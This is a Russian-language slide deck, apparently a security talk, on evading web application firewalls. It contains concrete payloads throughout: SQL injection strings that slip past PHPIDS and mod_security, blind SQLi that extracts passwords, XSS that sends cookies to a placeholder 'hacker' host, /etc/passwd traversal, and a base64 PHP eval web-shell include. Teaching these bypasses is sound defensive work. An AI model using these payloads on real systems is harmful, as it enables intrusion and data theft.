После обработки такого HTTP-запроса web-приложение в качестве значения GET[id] получит следующие данные:

Request.QueryString("id") = "param1,param2,param3"

Практика обхода WAF: HTTP Parameter Pollution (HPP)

Практика обхода WAF: SQL Injection – HPP

Пример в среде Apache/PHP/Mod_Rewrite

Правило mod_rewrite:...RewriteRule (.+)/(.+)/(.+)/$ / index.php?action=view&module=$1&category=$2&id=$3…

HTTP-запрос:

GET /1/2/3&action=edit/ HTTP/1.1Host: localhost…

После обработки такого HTTP-запроса в Web-приложение поступит переменная GET[action] с установленным значением "edit” вместо ожидаемого значения "view".

Практика обхода WAF: HTTP Parameter Pollution (HPP)

Технология/Среда Интерпретация параметров Пример

ASP.NET/IIS Склеивание через запятую par1=val1,val2

ASP/IIS Склеивание через запятую par1=val1,val2

PHP/APACHE Последний параметр результирующий par1=val2

PHP/Zeus Последний параметр результирующий par1=val2

JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1

JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1

JSP,Servlet/Jetty Первый параметр результирующий par1=val1

IBM Lotus Domino Первый параметр результирующий par1=val1

IBM HTTP Server Последний параметр результирующий par1=val2

mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1

Perl CGI/Apache Первый параметр результирующий par1=val1

mod_perl,lib???/Apache Первый параметр результирующий par1=val1

mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c)

Pythin/Zope Первый параметр результирующий par1=val1

IceWarp Возвращается массив ['val1','val2']

AXIS 2400 Последний параметр результирующий par1=val2

Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2

Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2

webcamXP Pro Первый параметр результирующий par1=val1

DBMan Склеивание через две тильды par1=val1~~val2

Практика обхода WAF: SQL Injection – HPP (пример 2)

Использование HTTP Parameter Pollution (HPP)

• Уязвимый код

SQL="select key from table where id="+Request.QueryString("id")

• Такой запрос успешно отработает при использовании техники HPP

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• SQL-запрос примет вид

select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf

Практика обхода WAF: SQL Injection – HPF

Использование HTTP Parameter Fragmentation (HPF)

• Пример уязвимого кода

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']);

• Следующий запрос не позволяет провести атаку

/?a=1+union+select+1,2/*

• При использовании HPF такие запросы могут успешно отработать

/?a=1+union/*&b=*/select+1,2

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• SQL-запросы принимают вид

select * from table where a=1 union/* and b=*/select 1,2

select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html

Практика обхода WAF: Blind SQL Injection

Использование логических запросов AND и OR

• Следующий запрос для многих WAF позволяет успешно провести атаку

/?id=1+OR+0x50=0x50

/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, >) – Парадокс! Но многие WAF это пропускают.

Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, можно эксплуатировать уязвимость методом blind-SQL Injection

substring() -> mid(), substr(), etc

ascii() -> hex(), bin(), etc

benchmark() -> sleep()

Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше web-приложений

Практика обхода WAF: SQL Injection – PHPIDS

PHPIDS (0.6.1.1)

Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1

Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1

Ругается на: /?id=1+OR+1=1

Но пропускает: /?id=1+OR+0x50=0x50

Ругается на: /?id=substring((1),1,1)

Но пропускает: /?id=mid((1),1,1)

Практика обхода WAF: SQL Injection – Mod_Security

Mod_Security (2.5.9)

Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74

Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Ругается на: /?id=1+OR+1=1

Но пропускает: /?id=1+OR+0x50=0x50

Ругается на: /?id=1+and+5=6

Но пропускает: /?id=1+and+5!=6

Ругается на: /?id=1;drop members

Но пропускает: /?id=1;delete members

Практика обхода WAF: SQL Injection – Mod_Security

И еще один красивый способ эксплуатации SQL Injection в обход Mod_Security (2.5.9)

Сервер MySQL позволяет использовать комментарии вида:

/*!sql-code*/ и /*!12345sql-code*/

Воспользовавшись этим, можно очень элегантно проводить эксплуатацию SQL Injection в обход текущей версии mod_security. Примеры:

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/

http://devteev.blogspot.com/2009/10/sql-injection-waf.html

Общие проблемы

• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не

сможет воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavascriptПример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//

• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie

Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting

Практика обхода WAF: Cross-Site Scripting

XSS через перенаправление запроса• Уязвимый код:…header('Location: '.$_GET['param']);…А также:…header('Refresh: 0; URL='.$_GET['param']);…

• Такой запрос WAF не пропустит:/?param=javascript:alert(document.cookie)

• Подобный запрос WAF пропустит, и XSS отработает на некоторых браузерах (Opera, Safari, Chrome, etc):

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html

Практика обхода WAF: Cross-Site Scripting

Использование HPP, HPF иногда позволяет обойти фильтры

Обход правил фильтрации на примере ModSecurity:

<img src="x:alert" onerror="eval(src%2b'(0)')">

";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"

...

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Практика обхода WAF: Path Traversal и LFI

Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется?

Пример 1. Чтение файлов в каталоге, расположенном выше корневого• Логика программы:<? include($_GET['file'].".txt") ; ?>• Эксплуатация уязвимости:/?file=secrets/admins.db/./.[N]/././?file=secrets/admins.db..[N]..

Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:

- Нормализация пути (лишние символы, например, «/» и «/.» , удаляются)- Усечение пути (определяется константой MAX_PATH, которая обычно меньше

MAX_URI_PATH в WAF)

http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/

Практика обхода WAF: Path Traversal и LFI

Использование замены null-byte в реальных условиях

При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] - замена null-byte, характерная для атакуемой ОС.

Примеры (среда FreeBSD 7.2 с php v5.2.10 with Suhosin-Patch 0.9.7):

<? include("q/".$_GET['f'].".txt"); ?> Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/. , где /.[N]/. - repeat("/.", 487)

<? include("qq/".$_GET['f'].".txt"); ?> Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает: /?f=/../../../../../etc/passwd/.[N]/.

<? include($_GET['f'].".txt"); ?> Предыдущие запросы не сработают. Отработает следующий URL: /?f=non/../../../../../etc/passwd/.[N]/.

http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt

Практика обхода WAF: Path Traversal и LFI

Пример 2. Выполнение команд на сервере• Логика программы:<? include($_GET['file'].".txt") ; ?>

• Эксплуатация уязвимости:Запрос, блокируемый WAF:/?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

Запрос, который WAF пропускает:/?

file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();

Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable)

reference: коллективный разум antichat.ru

Практика обхода WAF: Remote File Including

Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!)

Примеры легитимных запросов в логике крупных web-ресурсов:

Перенаправление HTTP-запроса:• http://www.securitylab.ru/exturl.php?goto=http://ya.ru• http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru• http://www.google.com/url?url=http://ya.ru• http://vkontakte.ru/away.php?to=http://ya.ru

...

Обычная запись в Wiki:• http://en.wikipedia.org/wiki/Http://www.google.com

Online-переводчик:• http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru

Уязвимости в «живой природе»

SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах

SQL Injection в «живой природе»

XSS – «головная боль» для всех web-проектов

Cross-Site Scripting в «живой природе»

К чему приводит беззаботное отношение к безопасности web-приложений?

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

WEB-СЕРВЕР

Мы немного посканировали…

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

АНАЛИЗ ЗАЩИЩЕННОСТИ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Инструментальное обследование сети

Сканирование портов и сервисов

Исследование защищенности web-приложения методом «черного ящика»

…обнаружили уязвимость в web-приложении…

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

ПОДОБРАН ПАРОЛЬ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Сканирование сети

Успешно подобран пароль!

• Эксплуатация SQL Injection

• Выполнение команд на сервере

• Повышение привилегий• Атака на внутренние

ресурсы

…захватили управление всей сетью :-)

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

ПОДОБРАН ПАРОЛЬ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Внутренний пентест/аудит по результатам пентеста

Внутренний пентест/аудит по результатам пентеста

Сканирование сети

Успешно подобран пароль!• Эксплуатация SQL

Injection• Выполнение команд на

сервере• Повышение привилегий• Атака на внутренние

ресурсы

Внутренний пентест• Установка сканера

MaxPatrol• Поиск уязвимостей• Эксплуатация уязвимостей

Перемещение в ИС ЦО• Проведение атаки на

ресурсы ЦО

Получение максимальных привилегий во всей сети!

Резюме

WAF – это не долгожданная "серебряная пуля"

• WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки

• Концептуальные проблемы WAF – использование сигнатурного принципа

Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде

Безопасность должна быть разумной

Безопасность должна быть комплексной

Безопасность – это непрерывный процесс

Спасибо за внимание!

devteev@ptsecurity.ruaanisimov@ptsecurity.ruhttp://www.ptsecurity.ru/

top related